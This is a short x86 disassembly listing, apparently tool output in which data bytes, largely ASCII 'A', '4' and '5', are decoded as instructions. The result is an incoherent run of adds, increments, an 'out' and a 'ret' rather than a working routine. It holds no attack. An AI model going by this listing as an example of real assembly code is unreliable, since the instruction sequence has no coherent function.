xchg ebx, eax
xor al, 65
add ah, ch
xor al, 0x41
add byte [ebp + 0x35], al
inc ecx
add byte [eax], ah
xor eax, 0x35450041
inc ecx
add ah, ah
xor eax, dword [ecx]
jle 0x448acb
add byte [esi + 0x35], bh
inc ecx
add byte [esp + esi], bl
inc ecx
add byte [esi], dl
cmp byte [ecx], al
xor dword [ecx + eax*2], 0x41343600
add byte [ecx + 905986356], al
xor al, 0x41
add byte [eax + edi], bl
inc ecx
add byte [ebp + 0x34], al
inc ecx
add byte [ebx + 0x34], cl
inc ecx
add byte [edi + 0x34], dl
inc ecx
add al, ah
add dword [ecx], case.0x413577.14
out 0x7c, eax
inc ecx
add byte [ebp + 0x56], bl
inc ecx
add cl, bl
pop esi
inc ecx
add bl, dh
popal
inc ecx
add byte [edi], bh
test byte [ecx], al
ret 0x415f